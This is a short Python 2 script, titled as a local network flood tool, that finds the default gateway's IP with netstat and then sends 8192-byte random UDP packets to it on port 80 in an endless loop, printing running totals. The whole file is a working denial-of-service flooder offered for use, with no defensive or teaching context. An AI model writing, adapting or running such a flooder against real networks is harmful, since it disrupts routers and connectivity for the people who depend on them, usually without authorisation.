Local network flood, automatic IP detection

import socket
import random
import string
import os
import re
import sys
#Note that the detection will only work on unix based systems, such as Mac or any linux distro.
def validate_ip(s): #Function to get and validate the IP of the router automaticly
    a = s.split('.')
    if len(a) != 4:
        return False
    for x in a:
        if not x.isdigit():
            return False
        i = int(x)
        if i < 0 or i > 255:
            return False
    return True

f=os.popen("netstat -rn |grep default") #Execute the command to get the ip of the router
var = 0 #To check if we are on line one, so we only read the first line if any more should be returned, this probably wouldn't happen but just to be safe.
ip = ""
for i in f.readlines(): #Reading each line of the command executed
    if(var == 0):
        i = string.split(i, " ") #Split the commandline output
        for args in i: #Loop through all of elements we got from the previous string
            if validate_ip(args) == True: #To get the IP
                ip = args
        if ip == "": #Check if we could not find an IP
            ip = raw_input("IP could not be found automaticly, please enter: ")
    var = var + 1
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Open socket
packetsize = 8192 #Packetsize
bytes=random._urandom(packetsize) #Generate random data
port= 80 #The port, can be changed to random if you want to by removing this line and uncommenting the next one
#port = random.randrange(65335)
sent = 1
amountbytes = packetsize*sent #Calculate the datasize we have sent in total.
i = 1
while 1:
    sock.sendto(bytes,(ip,port)) #Send data
    print "[i]: Sent %s amount of packets to %s at port %s. Total amount of bytes sent: %s" % (sent,ip,port,amountbytes)
    sent= sent + 1
    amountbytes = packetsize*sent
    i = i + 1